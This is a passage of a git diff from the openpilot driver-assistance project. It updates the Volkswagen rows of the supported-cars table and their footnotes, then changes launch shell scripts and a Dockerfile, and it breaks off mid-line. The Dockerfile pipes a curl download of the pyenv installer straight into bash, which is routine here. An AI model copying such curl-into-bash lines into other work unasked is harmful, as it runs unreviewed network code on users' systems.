|| -|Volkswagen|Crafter 2017-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|31 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 angled mount (8 degrees)
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|e-Crafter 2018-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|31 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 angled mount (8 degrees)
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|e-Golf 2014-20|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Golf 2015-20|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Golf Alltrack 2015-19|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Golf GTD 2015-20|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Golf GTE 2015-20|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Golf GTI 2015-21|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Golf R 2015-19|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Golf SportsVan 2015-20|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Grand California 2019-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|31 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 angled mount (8 degrees)
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Jetta 2018-22|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Jetta GLI 2021-22|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Passat 2015-22[8](#footnotes)|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Passat Alltrack 2015-22|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Passat GTE 2015-22|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Polo 2018-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
[11](#footnotes)|| -|Volkswagen|Polo GTI 2018-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
[11](#footnotes)|| -|Volkswagen|T-Cross 2021|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
[11](#footnotes)|| -|Volkswagen|T-Roc 2021|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
[11](#footnotes)|| -|Volkswagen|Taos 2022|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Teramont 2018-22|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Teramont Cross Sport 2021-22|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Teramont X 2021-22|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Tiguan 2018-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Tiguan eHybrid 2021-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Volkswagen|Touran 2016-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Arteon 2018-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Arteon eHybrid 2020-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Arteon R 2020-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Atlas 2018-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Atlas Cross Sport 2021-22|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|California 2021|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|31 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 angled mount (8 degrees)
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Caravelle 2020|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|31 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 angled mount (8 degrees)
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|CC 2018-22|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Crafter 2017-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|31 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 angled mount (8 degrees)
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|e-Crafter 2018-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|31 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 angled mount (8 degrees)
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|e-Golf 2014-20|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Golf 2015-20|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Golf Alltrack 2015-19|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Golf GTD 2015-20|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Golf GTE 2015-20|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Golf GTI 2015-21|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Golf R 2015-19|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Golf SportsVan 2015-20|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Grand California 2019-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|31 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 angled mount (8 degrees)
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Jetta 2018-22|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Jetta GLI 2021-22|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Passat 2015-22[10](#footnotes)|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Passat Alltrack 2015-22|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Passat GTE 2015-22|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Polo 2018-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
[13](#footnotes)|| +|Volkswagen|Polo GTI 2018-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
[13](#footnotes)|| +|Volkswagen|T-Cross 2021|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
[13](#footnotes)|| +|Volkswagen|T-Roc 2021|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
[13](#footnotes)|| +|Volkswagen|Taos 2022-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Teramont 2018-22|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Teramont Cross Sport 2021-22|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Teramont X 2021-22|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Tiguan 2018-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Tiguan eHybrid 2021-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Volkswagen|Touran 2016-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| ### Footnotes 1Experimental openpilot longitudinal control is available behind a toggle; the toggle is only available in non-release branches such as `devel` or `master-ci`.
2By default, this car will use the stock Adaptive Cruise Control (ACC) for longitudinal control. If the Driver Support Unit (DSU) is disconnected, openpilot ACC will replace stock ACC. NOTE: disconnecting the DSU disables Automatic Emergency Braking (AEB).
-3Requires a community built ASCM harness. NOTE: disconnecting the ASCM disables Automatic Emergency Braking (AEB).
-42019 Honda Civic 1.6L Diesel Sedan does not have ALC below 12mph.
-5Requires a red panda for this CAN FD car. All the hardware needed is sold in the CAN FD kit.
-6openpilot operates above 28mph for Camry 4CYL L, 4CYL LE and 4CYL SE which don't have Full-Speed Range Dynamic Radar Cruise Control.
-7Not including the China market Kamiq, which is based on the (currently) unsupported PQ34 platform.
-8Refers only to the MQB-based European B8 Passat, not the NMS Passat in the USA/China/Mideast markets.
-9Some Škoda vehicles are equipped with heated windshields, which are known to block GPS signal needed for some comma three functionality.
-10Only available for vehicles using a gateway (J533) harness. At this time, vehicles using a camera harness are limited to using stock ACC.
-11Model-years 2022 and beyond may have a combined CAN gateway and BCM, which is supported by openpilot in software, but doesn't yet have a harness available from the comma store.
+3Refers only to the Focus Mk4 (C519) available in Europe/China/Taiwan/Australasia, not the Focus Mk3 (C346) in North and South America/Southeast Asia.
+4Requires a community built ASCM harness. NOTE: disconnecting the ASCM disables Automatic Emergency Braking (AEB).
+52019 Honda Civic 1.6L Diesel Sedan does not have ALC below 12mph.
+6Requires a red panda for this CAN FD car. All the hardware needed is sold in the CAN FD kit.
+7In the non-US market, openpilot requires the car to come equipped with EyeSight with Lane Keep Assistance.
+8openpilot operates above 28mph for Camry 4CYL L, 4CYL LE and 4CYL SE which don't have Full-Speed Range Dynamic Radar Cruise Control.
+9Not including the China market Kamiq, which is based on the (currently) unsupported PQ34 platform.
+10Refers only to the MQB-based European B8 Passat, not the NMS Passat in the USA/China/Mideast markets.
+11Some Škoda vehicles are equipped with heated windshields, which are known to block GPS signal needed for some comma three functionality.
+12Only available for vehicles using a gateway (J533) harness. At this time, vehicles using a camera harness are limited to using stock ACC.
+13Model-years 2022 and beyond may have a combined CAN gateway and BCM, which is supported by openpilot in software, but doesn't yet have a harness available from the comma store.
## Community Maintained Cars Although they're not upstream, the community has openpilot running on other makes and models. See the 'Community Supported Models' section of each make [on our wiki](https://wiki.comma.ai/). diff --git a/launch_chffrplus.sh b/launch_chffrplus.sh index 37fe79730..c1353dff8 100755 --- a/launch_chffrplus.sh +++ b/launch_chffrplus.sh @@ -144,6 +144,11 @@ function two_init { LIB_PATH="/data/openpilot/system/hardware/eon/libs" PY_LIB_DEST="/system/comma/usr/lib/python3.8/site-packages" mount -o remount,rw /system + # libgfortran + if [ ! -f "/system/comma/usr/lib/libgfortran.so.5.0.0" ]; then + echo "Installing libgfortran..." + tar -zxvf "$LIB_PATH/libgfortran.tar.gz" -C /system/comma/usr/lib/ + fi # mapd MODULE="opspline" if [ ! -d "$PY_LIB_DEST/$MODULE" ]; then @@ -232,6 +237,11 @@ function two_init { } function agnos_init { + # wait longer for weston to come up + if [ -f "$BASEDIR/prebuilt" ]; then + sleep 3 + fi + # TODO: move this to agnos sudo rm -f /data/etc/NetworkManager/system-connections/*.nmmeta diff --git a/launch_env.sh b/launch_env.sh index afa5c4107..baf1a0a3a 100755 --- a/launch_env.sh +++ b/launch_env.sh @@ -7,7 +7,7 @@ export OPENBLAS_NUM_THREADS=1 export VECLIB_MAXIMUM_THREADS=1 if [ -z "$AGNOS_VERSION" ]; then - export AGNOS_VERSION="7.1" + export AGNOS_VERSION="8.2" fi if [ -z "$REQUIRED_NEOS_VERSION" ]; then diff --git a/opendbc/Dockerfile b/opendbc/Dockerfile index c406413ae..f1eecae1c 100644 --- a/opendbc/Dockerfile +++ b/opendbc/Dockerfile @@ -34,13 +34,13 @@ RUN apt-get update && apt-get install -y --no-install-recommends \ RUN curl -L https://github.com/pyenv/pyenv-installer/raw/master/bin/pyenv-installer | bash ENV PATH="/root/.pyenv/bin:/root/.pyenv/shims:${PATH}" -RUN pyenv install 3.8.10 -RUN pyenv global 3.8.10 +RUN pyenv install 3.11.4 +RUN pyenv global 3.11.4 RUN pyenv rehash COPY requirements.txt /tmp/ RUN pip install --no-cache-dir -r /tmp/requirements.txt -RUN pip install 